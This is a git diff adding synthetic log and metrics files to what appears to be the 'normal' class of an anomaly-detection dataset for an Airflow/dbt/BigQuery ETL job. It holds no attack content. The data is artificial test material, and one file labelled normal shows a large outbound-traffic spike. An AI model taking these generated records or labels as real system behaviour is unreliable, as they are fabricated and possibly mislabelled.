airflow-worker[4511]: INFO: [daily_user_profile_etl][extract_from_postgres] Task is starting. +Aug 27 14:01:15 postgres[2109]: INFO: connection received: user=etl_user db=production_db host=10.0.1.5 +Aug 27 14:02:05 postgres[2109]: INFO: statement: COPY (SELECT * FROM user_profiles WHERE updated_at >= '2025-08-26') TO STDOUT WITH CSV HEADER +Aug 27 14:02:50 airflow-worker[4511]: INFO: [daily_user_profile_etl][extract_from_postgres] Task succeeded. +Aug 27 14:03:00 airflow-worker[4512]: INFO: [daily_user_profile_etl][transform_data] Task is starting. +Aug 27 14:03:20 dbt[6789]: INFO: Found 5 models, 10 tests, 2 seeds, 1 analysis, 2 snapshots +Aug 27 14:04:10 dbt[6789]: INFO: Concurrency: 4 threads (target: 'prod') +Aug 27 14:05:00 dbt[6789]: INFO: 1 of 5 START table model dbt_warehouse.stg_user_profiles................... [RUN] +Aug 27 14:05:40 dbt[6789]: INFO: 1 of 5 OK created table model dbt_warehouse.stg_user_profiles.................. [SUCCESS 1 in 45.03s] +Aug 27 14:05:50 airflow-worker[4512]: INFO: [daily_user_profile_etl][transform_data] Task succeeded. +Aug 27 14:06:00 airflow-worker[4513]: INFO: [daily_user_profile_etl][load_to_bigquery] Task is starting. +Aug 27 14:06:15 gcloud-sdk[7123]: INFO: Uploading data to BigQuery table: project.dataset.user_profiles_staging +Aug 27 14:06:50 gcloud-sdk[7123]: INFO: Upload complete. 58.3 MB written. +Aug 27 14:06:55 airflow-worker[4513]: INFO: [daily_user_profile_etl][load_to_bigquery] Task succeeded. +Aug 27 14:07:00 airflow-scheduler[3102]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 14:07:10 web-app[1567]: GET /api/v1/health status=200 OK +Aug 27 14:07:20 systemd[1]: Daily backup activities finished. diff --git a/norm_dataset/scenario_11/norm_11_25.csv b/norm_dataset/scenario_11/norm_11_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..4c40e5db4990f54c812706149621f89acc06d2ed --- /dev/null +++ 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systemd[1]: Starting daily user activity rollup... +Aug 27 10:00:25 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:55 airflow-scheduler[3125]: INFO: Triggering DAG 'daily_user_profile_etl' +Aug 27 10:01:00 airflow-worker[5432]: INFO: [2025-08-27 10:01:00,123] {dag_processing.py:288} INFO - Started a process to run file /opt/airflow/dags/etl_jobs.py +Aug 27 10:01:05 airflow-worker[5432]: INFO: DAG 'daily_user_profile_etl' RUNNING +Aug 27 10:01:15 airflow-worker[5432]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:02:20 airflow-worker[5432]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:25 airflow-worker[5432]: INFO: Task 'extract_from_api' running... +Aug 27 10:02:35 airflow-worker[5432]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:02:45 airflow-worker[5432]: INFO: Task 'transform_data' running... +Aug 27 10:03:45 dbt[6789]: INFO: Found 10 models, 2 tests, 1 snapshot, 0 analyses, 20 macros, 0 operations, 2 seed files, 4 sources +Aug 27 10:04:35 dbt[6789]: INFO: Concurrency: 4 threads (target='prod') +Aug 27 10:05:40 airflow-worker[5432]: INFO: Task 'transform_data' succeeded. +Aug 27 10:05:50 airflow-worker[5432]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:06:15 airflow-worker[5432]: INFO: Uploading 1000000 rows to BigQuery table: project.dataset.users_rollup +Aug 27 10:06:50 airflow-worker[5432]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:55 airflow-worker[5432]: INFO: DAG 'daily_user_profile_etl' SUCCESS +Aug 27 10:07:05 systemd[1]: Daily user activity rollup finished. +Aug 27 10:07:20 CRON[4599]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_11/norm_11_26.csv b/norm_dataset/scenario_11/norm_11_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..33cc661df40a26db52c91f008ab411c8a9baa97c --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-15T10:06:40Z,8.73,25.7,4.25,0.63,0.48 +2025-07-15T10:06:45Z,9.44,36.57,4.99,0.54,0.67 +2025-07-15T10:06:50Z,9.98,28.49,5.05,0.49,0.52 +2025-07-15T10:06:55Z,9.22,25.25,6.0,0.57,0.56 +2025-07-15T10:07:00Z,8.14,33.16,6.48,0.37,0.54 +2025-07-15T10:07:05Z,10.44,29.85,6.98,0.51,0.39 +2025-07-15T10:07:10Z,9.97,30.69,4.65,0.61,0.5 +2025-07-15T10:07:15Z,12.03,32.24,6.58,0.52,0.52 +2025-07-15T10:07:20Z,10.17,29.73,4.5,0.65,0.33 +2025-07-15T10:07:25Z,11.67,33.55,4.5,0.56,0.57 diff --git a/norm_dataset/scenario_11/norm_11_26.log b/norm_dataset/scenario_11/norm_11_26.log new file mode 100644 index 0000000000000000000000000000000000000000..d30fe697aaf01c24828b09bb3fbb60eebda006e5 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_26.log @@ -0,0 +1,20 @@ +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:20 airflow-scheduler[1122]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 15 10:00:25 airflow-worker[1133]: INFO: Task 'extract_from_postgres' running... +Jul 15 10:00:35 airflow-worker[1133]: INFO: Extracting data from table 'users'... +Jul 15 10:00:50 airflow-worker[1133]: INFO: Extracting data from table 'orders'... +Jul 15 10:01:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:25 airflow-worker[1133]: INFO: Task 'extract_from_postgres' succeeded. +Jul 15 10:01:30 airflow-worker[1144]: INFO: Task 'transform_data' running... +Jul 15 10:02:00 dbt[2233]: INFO: Running model 'staging_users'... +Jul 15 10:02:30 dbt[2233]: INFO: Model 'staging_users' completed successfully. +Jul 15 10:02:40 dbt[2233]: INFO: Running model 'staging_orders'... +Jul 15 10:03:30 dbt[2233]: INFO: Model 'staging_orders' completed successfully. +Jul 15 10:03:40 dbt[2233]: INFO: Running model 'dim_users'... +Jul 15 10:04:30 dbt[2233]: INFO: Model 'dim_users' completed successfully. +Jul 15 10:04:30 airflow-worker[1144]: INFO: Task 'transform_data' succeeded. +Jul 15 10:04:35 airflow-worker[1155]: INFO: Task 'load_to_bigquery' running... +Jul 15 10:04:50 airflow-worker[1155]: INFO: Loading table 'dim_users' to BigQuery... +Jul 15 10:05:55 airflow-worker[1155]: INFO: Table 'dim_users' loaded successfully. +Jul 15 10:06:05 airflow-worker[1155]: INFO: Task 'load_to_bigquery' succeeded. +Jul 15 10:06:15 airflow-scheduler[1122]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_27.csv b/norm_dataset/scenario_11/norm_11_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..a17e51582f06bce806fa32e5213356c51766ccfa --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T14:00:00Z,10.38,20.88,14.82,2.36,2.33 +2025-08-27T14:00:05Z,14.93,29.72,13.86,3.11,2.04 +2025-08-27T14:00:10Z,12.15,26.87,18.52,3.71,3.03 +2025-08-27T14:00:15Z,9.45,26.84,10.49,3.04,3.33 +2025-08-27T14:00:20Z,6.54,28.05,10.92,4.04,3.49 +2025-08-27T14:00:25Z,9.99,22.58,17.19,4.57,3.19 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'daily_user_profile_etl' +Aug 27 14:01:20 airflow-worker[5678]: INFO: Task 'extract_from_postgres' running... +Aug 27 14:01:25 airflow-worker[5678]: INFO: Extracted 50000 rows from 'users' table. +Aug 27 14:02:05 airflow-worker[5678]: INFO: Extracted 85000 rows from 'orders' table. +Aug 27 14:02:50 airflow-worker[5678]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 14:02:55 airflow-worker[5678]: INFO: Task 'transform_data' running... +Aug 27 14:03:20 airflow-worker[5678]: INFO: Applying data cleaning rules to the extracted data. +Aug 27 14:03:45 dbt[9101]: INFO: Running model 'staging_users'... +Aug 27 14:04:35 dbt[9101]: INFO: Running model 'staging_orders'... +Aug 27 14:05:20 airflow-worker[5678]: INFO: Data transformation completed. 135000 rows processed. +Aug 27 14:05:25 airflow-worker[5678]: INFO: Task 'transform_data' succeeded. +Aug 27 14:05:30 airflow-worker[5678]: INFO: Task 'load_to_bigquery' running... +Aug 27 14:06:00 airflow-worker[5678]: INFO: Loading data into 'user_profiles_final' table. +Aug 27 14:06:30 airflow-worker[5678]: INFO: Upload to BigQuery successful. +Aug 27 14:06:35 airflow-worker[5678]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 14:06:40 airflow-scheduler[1234]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 14:07:05 systemd[1]: Daily user session cleanup finished. diff --git a/norm_dataset/scenario_11/norm_11_28.csv b/norm_dataset/scenario_11/norm_11_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..905c2f40989865b68f641e60342bf57c4fea0a85 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,18.226301269664866,27.676460439913665,10.99927234832574,1.828149461853767,1.1253444739834473 +2025-08-27T10:00:05Z,14.514127839201343,27.753775466139597,7.713991243788526,1.8228335618848768,0.532217962647704 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b/norm_dataset/scenario_11/norm_11_28.log new file mode 100644 index 0000000000000000000000000000000000000000..306cf89048326675c8bd84f1326445a960bad916 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_28.log @@ -0,0 +1,17 @@ +Aug 27 10:00:10 systemd[1]: Starting daily user cleanup... +Aug 27 10:00:40 CRON[8123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:55 airflow-scheduler[4567]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:00 airflow-worker[5678]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:01:40 postgres[3333][3333]: LOG: statement: SELECT * FROM user_profiles; +Aug 27 10:02:30 airflow-worker[5678]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:03:00 airflow-worker[5678]: INFO: Task 'transform_user_data' running... +Aug 27 10:03:45 dbt[6789][6789]: INFO: Running model 'stg_user_profiles'... +Aug 27 10:04:35 dbt[6789][6789]: INFO: Model 'stg_user_profiles' completed successfully. +Aug 27 10:05:40 airflow-worker[5678]: INFO: Task 'transform_user_data' succeeded. +Aug 27 10:05:55 airflow-worker[5678]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:06:15 gcloud[7890][7890]: INFO: Uploading data to gs://my-data-bucket/user_profiles.parquet +Aug 27 10:06:40 gcloud[7890][7890]: INFO: Starting BigQuery load job... +Aug 27 10:06:55 airflow-worker[5678]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:07:00 airflow-scheduler[4567]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:07:15 systemd[1]: Finished daily user cleanup. +Aug 27 10:07:25 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_11/norm_11_29.csv b/norm_dataset/scenario_11/norm_11_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e9e9a891f707b7176204fce2a8dbff4b126ffb8 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,9.93,35.0,19.95,1.55,1.44 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+2025-08-27T10:06:40Z,42.06,59.56,75.51,1.71,80.17 +2025-08-27T10:06:45Z,43.89,52.66,63.37,1.44,81.38 +2025-08-27T10:06:50Z,46.59,67.11,88.42,1.55,83.11 +2025-08-27T10:06:55Z,34.6,51.52,74.96,1.31,89.78 +2025-08-27T10:07:00Z,39.04,54.58,66.95,1.25,78.7 +2025-08-27T10:07:05Z,24.82,43.2,85.35,1.31,84.09 +2025-08-27T10:07:10Z,10.61,34.87,21.5,1.02,0.76 +2025-08-27T10:07:15Z,8.58,29.24,17.86,1.7,1.0 +2025-08-27T10:07:20Z,10.13,28.55,22.1,0.93,0.95 +2025-08-27T10:07:25Z,8.85,30.78,16.27,1.42,1.26 diff --git a/norm_dataset/scenario_11/norm_11_29.log b/norm_dataset/scenario_11/norm_11_29.log new file mode 100644 index 0000000000000000000000000000000000000000..a814fbb649d40d2a77ffeec7bff35ae1f6457098 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_29.log @@ -0,0 +1,19 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:25 CRON[4511]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:00 airflow-scheduler[3122]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:10 airflow-worker[3567]: INFO: DAG 'daily_user_profile_etl' - Task 'extract_from_postgres' running. +Aug 27 10:01:30 postgres[2134]: LOG: connection received: host=172.17.0.1 port=34567 +Aug 27 10:01:35 postgres[2134]: LOG: statement: COPY (SELECT * FROM user_profiles) TO STDOUT WITH CSV HEADER +Aug 27 10:01:55 airflow-worker[3567]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:05 airflow-worker[3567]: INFO: DAG 'daily_user_profile_etl' - Task 'transform_data' running... +Aug 27 10:02:55 dbt[4123]: INFO: Found 5 models, 12 tests, 2 seeds, 1 analysis, 201 macros +Aug 27 10:03:45 dbt[4123]: INFO: Concurrency: 4 threads (target='prod') +Aug 27 10:04:35 dbt[4123]: INFO: 1 of 5 START table model dbt_prod.stg_users....................... [RUN] +Aug 27 10:05:25 dbt[4123]: INFO: 5 of 5 START table model dbt_prod.fct_user_sessions................ [RUN] +Aug 27 10:05:40 airflow-worker[3567]: INFO: Task 'transform_data' succeeded. +Aug 27 10:05:50 airflow-worker[3567]: INFO: DAG 'daily_user_profile_etl' - Task 'load_to_bigquery' running... +Aug 27 10:06:15 gsutil[4899]: INFO: Uploading gs://etl-bucket/transformed_data.parquet to BigQuery... +Aug 27 10:07:00 airflow-worker[3567]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:07:05 airflow-scheduler[3122]: INFO: DAG 'daily_user_profile_etl' succeeded. +Aug 27 10:07:15 systemd[1]: Starting daily clean up activities... +Aug 27 10:07:25 CRON[4590]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/norm_dataset/scenario_11/norm_11_3.csv b/norm_dataset/scenario_11/norm_11_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..477655a785cdf7f58df7bd395219d5b0e1648834 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,15.52,32.36,13.03,1.12,0.97 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activities... +Aug 22 14:01:40 airflow-worker-1234 airflow-scheduler[5678]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 22 14:01:45 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:01:45,123] {taskinstance.py:1152} INFO - Executing +Aug 22 14:02:05 airflow-worker-1234 airflow-worker[6789]: INFO: Connecting to postgres_default +Aug 22 14:03:10 airflow-worker-1234 airflow-worker[6789]: INFO: Task 'extract_from_postgres' successfully extracted 1,543,289 records. +Aug 22 14:03:20 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:03:20,456] {taskinstance.py:1174} INFO - Task 'extract_from_postgres' succeeded. +Aug 22 14:03:25 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:03:25,789] {taskinstance.py:1152} INFO - Executing +Aug 22 14:04:10 airflow-worker-1234 airflow-worker[6789]: INFO: Running dbt with models: user_profiles, user_events +Aug 22 14:05:00 airflow-worker-1234 airflow-worker[6789]: INFO: dbt run completed successfully. +Aug 22 14:05:25 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:05:25,112] {taskinstance.py:1174} INFO - Task 'transform_data' succeeded. +Aug 22 14:05:30 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:05:30,334] {taskinstance.py:1152} INFO - Executing +Aug 22 14:06:05 airflow-worker-1234 airflow-worker[6789]: INFO: Loading 1,543,289 rows into project.dataset.user_profiles_transformed +Aug 22 14:06:35 airflow-worker-1234 airflow-worker[6789]: INFO: Load job completed. +Aug 22 14:06:40 airflow-worker-1234 airflow-worker[6789]: INFO: [2025-08-22 14:06:40,987] {taskinstance.py:1174} INFO - Task 'load_to_bigquery' succeeded. +Aug 22 14:06:50 airflow-worker-1234 airflow-scheduler[5678]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 22 14:07:05 airflow-worker-1234 systemd[1]: Daily apt download activities finished. diff --git a/norm_dataset/scenario_11/norm_11_30.csv b/norm_dataset/scenario_11/norm_11_30.csv new file mode 100644 index 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0000000000000000000000000000000000000000..7b4c153969c47c0052adf898f71e69e696034d7f --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_30.log @@ -0,0 +1,20 @@ +Aug 15 14:00:25 airflow-scheduler[4521]: INFO: Starting up ETL service listener. +Aug 15 14:01:05 airflow-scheduler[4521]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 15 14:01:15 airflow-scheduler[4521]: INFO: Task 'check_source_availability' running... +Aug 15 14:01:30 airflow-scheduler[4521]: INFO: Task 'check_source_availability' succeeded. +Aug 15 14:01:40 airflow-scheduler[4521]: INFO: Task 'extract_from_production_db' running, pulling 50000 records. +Aug 15 14:02:10 airflow-scheduler[4521]: INFO: Task 'extract_from_production_db' succeeded. +Aug 15 14:02:20 airflow-scheduler[4521]: INFO: Task 'extract_from_salesforce_api' running. +Aug 15 14:02:40 airflow-scheduler[4521]: INFO: Task 'extract_from_salesforce_api' succeeded. Fetched 1200 records. +Aug 15 14:02:55 airflow-scheduler[4521]: INFO: Task 'transform_user_data' running... +Aug 15 14:03:45 airflow-scheduler[4521]: INFO: Applying 5 transformation rules to user dataset. +Aug 15 14:04:35 airflow-scheduler[4521]: INFO: Task 'transform_user_data' succeeded. Processed 51200 records. +Aug 15 14:04:50 airflow-scheduler[4521]: INFO: Task 'aggregate_sales_data' running... +Aug 15 14:05:25 airflow-scheduler[4521]: INFO: Task 'aggregate_sales_data' succeeded. +Aug 15 14:05:40 airflow-scheduler[4521]: INFO: Task 'load_to_bigquery_staging' running... +Aug 15 14:06:00 airflow-scheduler[4521]: INFO: Staging table 'users_staging' created. +Aug 15 14:06:30 airflow-scheduler[4521]: INFO: Loaded 51200 records into 'users_staging'. +Aug 15 14:06:40 airflow-scheduler[4521]: INFO: Task 'load_to_bigquery_staging' succeeded. +Aug 15 14:06:50 airflow-scheduler[4521]: INFO: Task 'merge_into_production_table' running... +Aug 15 14:07:05 airflow-scheduler[4521]: INFO: Task 'merge_into_production_table' succeeded. +Aug 15 14:07:10 airflow-scheduler[4521]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_4.csv b/norm_dataset/scenario_11/norm_11_4.csv new file mode 100644 index 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INFO: Task 'extract_from_postgres' running... +Aug 21 10:03:20 airflow-worker[2530]: INFO: Task 'extract_from_postgres' succeeded. +Aug 21 10:03:25 airflow-worker[2531]: INFO: Task 'transform_data' running... +Aug 21 10:05:50 airflow-worker[2531]: INFO: Task 'transform_data' succeeded. +Aug 21 10:05:55 airflow-worker[2532]: INFO: Task 'load_to_bigquery' running... +Aug 21 10:07:00 airflow-worker[2532]: INFO: Task 'load_to_bigquery' succeeded. +Aug 21 10:07:05 airflow-scheduler[2529]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_5.csv b/norm_dataset/scenario_11/norm_11_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..9ef1d08aac537df51b1e7126d3aa2d05e6fe8ea2 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T08:00:00Z,13.4,28.0,33.41,1.18,1.2 +2025-07-14T08:00:05Z,12.37,28.53,32.32,1.49,1.35 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airflow-scheduler[5432]: INFO: Triggering DAG 'daily_user_profile_etl' +Jul 14 08:01:02 airflow-worker[12345]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 14 08:01:10 airflow-worker[12345]: INFO: Task 'extract_from_postgres' running... +Jul 14 08:01:15 airflow-worker[12345]: INFO: Extracted 1,500,000 rows from 'users' table. +Jul 14 08:01:55 airflow-worker[12345]: INFO: Task 'extract_from_api' running... +Jul 14 08:02:35 airflow-worker[12345]: INFO: Fetched 50,000 records from 'sales_api_v2'. +Jul 14 08:02:38 airflow-worker[12345]: INFO: Task 'extract_from_postgres' succeeded. +Jul 14 08:02:39 airflow-worker[12345]: INFO: Task 'extract_from_api' succeeded. +Jul 14 08:02:40 airflow-worker[12345]: INFO: Task 'transform_data' running... +Jul 14 08:03:40 dbt[6789]: INFO: Running model 'staging_users'... +Jul 14 08:04:40 dbt[6789]: INFO: Running model 'enriched_sales'... +Jul 14 08:05:00 CRON[4455]: (root) CMD (run-parts --report /etc/cron.5min) +Jul 14 08:05:35 airflow-worker[12345]: INFO: Transformation completed. 1,545,000 records processed. +Jul 14 08:05:39 airflow-worker[12345]: INFO: Task 'transform_data' succeeded. +Jul 14 08:05:40 airflow-worker[12345]: INFO: Task 'load_to_bigquery' running... +Jul 14 08:06:25 airflow-worker[12345]: INFO: Loading data into 'user_profiles_final' table... +Jul 14 08:07:05 airflow-worker[12345]: INFO: Load to BigQuery complete. 1,545,000 rows written. +Jul 14 08:07:10 airflow-worker[12345]: INFO: Task 'load_to_bigquery' succeeded. +Jul 14 08:07:20 airflow-scheduler[5432]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_6.csv b/norm_dataset/scenario_11/norm_11_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..610fe76546beaea8e06495d42adaa004fc96af43 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-02T12:07:20Z,9.236815084358469,31.66390111209619,16.287300076332823,1.3021766668413834,1.2118022237834936 +2025-07-02T12:07:25Z,11.491478096466032,28.936574630504552,24.137792428135427,1.7595946070004058,1.7545330338202425 diff --git a/norm_dataset/scenario_11/norm_11_6.log b/norm_dataset/scenario_11/norm_11_6.log new file mode 100644 index 0000000000000000000000000000000000000000..507cdc10bdedf95fe0d0c9086dd898e53641f2ce --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_6.log @@ -0,0 +1,18 @@ +Jul 02 12:00:10 airflow-scheduler[5432]: INFO: Starting processing of DAG 'daily_user_profile_etl' +Jul 02 12:00:27 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl' started +Jul 02 12:00:51 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:02 airflow-worker[6789]: INFO: Task 'extract_from_postgres' running... +Jul 02 12:01:31 airflow-worker[6789]: INFO: Task 'extract_from_production_api' running... +Jul 02 12:02:07 CRON[9876]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:46 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Jul 02 12:03:01 airflow-worker[6789]: INFO: Task 'extract_from_production_api' succeeded. +Jul 02 12:03:11 airflow-worker[6789]: INFO: Task 'transform_user_data' running... +Jul 02 12:03:48 airflow-worker[6789]: INFO: Joining user profiles with session data +Jul 02 12:04:37 airflow-worker[6789]: INFO: Aggregating daily metrics +Jul 02 12:05:10 systemd[1]: Starting system maintenance tasks... +Jul 02 12:05:43 airflow-worker[6789]: INFO: Task 'transform_user_data' succeeded. +Jul 02 12:06:02 airflow-worker[6789]: INFO: Task 'load_to_bigquery' running... +Jul 02 12:06:32 airflow-worker[6789]: INFO: Uploading 54321 records to table 'user_profiles_daily' +Jul 02 12:07:03 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Jul 02 12:07:12 airflow-scheduler[5432]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Jul 02 12:07:22 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_11/norm_11_7.csv b/norm_dataset/scenario_11/norm_11_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..acd99b1baa543ad0a777c9374a188ecc659d3eb6 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,11.07,36.94,24.94,1.13,0.95 +2025-08-27T10:00:05Z,11.0,33.79,21.45,1.32,0.53 +2025-08-27T10:00:10Z,9.25,36.87,17.29,0.73,1.34 +2025-08-27T10:00:15Z,7.8,34.69,18.44,1.37,1.3 +2025-08-27T10:00:20Z,8.06,29.44,25.6,0.73,0.99 +2025-08-27T10:00:25Z,12.39,33.55,23.81,0.78,0.64 +2025-08-27T10:00:30Z,10.17,37.41,24.54,0.99,0.6 +2025-08-27T10:00:35Z,10.31,39.09,21.36,0.63,0.97 +2025-08-27T10:00:40Z,9.53,34.19,18.24,0.7,1.2 +2025-08-27T10:00:45Z,13.52,37.92,22.47,0.89,0.97 +2025-08-27T10:00:50Z,11.61,33.57,20.19,0.62,1.22 +2025-08-27T10:00:55Z,11.15,37.47,30.43,1.33,0.79 +2025-08-27T10:01:00Z,13.76,35.58,19.0,1.3,0.58 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a/norm_dataset/scenario_11/norm_11_7.log b/norm_dataset/scenario_11/norm_11_7.log new file mode 100644 index 0000000000000000000000000000000000000000..7b8430cb9fc0d971b19cf159545689b7da2b0b50 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_7.log @@ -0,0 +1,18 @@ +Aug 27 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:50 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:20 airflow-scheduler[2134]: INFO: Triggering DAG 'daily_user_profile_etl' +Aug 27 10:01:30 airflow-worker[3578]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:40 airflow-worker[3578]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:02:20 airflow-worker[3578]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:30 airflow-worker[3578]: INFO: Task 'extract_from_api_v3' running... +Aug 27 10:03:15 airflow-worker[3578]: INFO: Task 'extract_from_api_v3' succeeded. +Aug 27 10:03:30 airflow-worker[3578]: INFO: Task 'transform_user_data' running... +Aug 27 10:04:00 kubelet[1122]: INFO: Liveness probe succeeded for pod airflow-worker +Aug 27 10:04:35 airflow-worker[3578]: INFO: [dbt]: Found 10 models, 4 tests +Aug 27 10:05:10 airflow-worker[3578]: INFO: [dbt]: Concurrency: 4 threads (target: bigquery) +Aug 27 10:05:40 airflow-worker[3578]: INFO: [dbt]: 1 of 10 START table model 'staging.users'... +Aug 27 10:06:05 airflow-worker[3578]: INFO: Task 'transform_user_data' succeeded. +Aug 27 10:06:20 airflow-worker[3578]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:06:55 airflow-worker[3578]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:07:05 airflow-worker[3578]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:07:20 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_11/norm_11_8.csv b/norm_dataset/scenario_11/norm_11_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..f7e4b5a31b982ddbd3c0d4c588f36f9079099c1f --- /dev/null +++ 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+2025-08-27T10:07:15Z,13.381771005022413,20.832375127905358,18.083806400119542,1.4684027383684215,0.7164168306036831 +2025-08-27T10:07:20Z,13.737113918580825,26.434365572486804,19.014251289875844,0.6017372704222714,1.0021405768225358 +2025-08-27T10:07:25Z,10.016949949394053,22.58506140173192,17.26079576045457,1.1589088502071014,0.9297083456284472 diff --git a/norm_dataset/scenario_11/norm_11_8.log b/norm_dataset/scenario_11/norm_11_8.log new file mode 100644 index 0000000000000000000000000000000000000000..bba875f724b818f5865e4fd6440c35c16147b7b4 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_8.log @@ -0,0 +1,20 @@ +Aug 27 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:45 CRON[3125]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:05 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 27 10:01:15 airflow-scheduler[5432]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:20 airflow-worker[6789]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod airflow-worker +Aug 27 10:01:50 airflow-worker[6789]: INFO: Extracted 15032 records from production_db.users +Aug 27 10:02:30 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:03:15 airflow-worker[6789]: INFO: Task 'transform_data' running... +Aug 27 10:03:40 airflow-worker[6789]: INFO: Task 'transform_data' running... +Aug 27 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod airflow-worker +Aug 27 10:04:50 airflow-worker[6789]: INFO: Task 'transform_data' succeeded. +Aug 27 10:05:30 airflow-worker[6789]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:05:55 airflow-worker[6789]: INFO: Uploading 15032 records to project.dataset.users_transformed +Aug 27 10:06:20 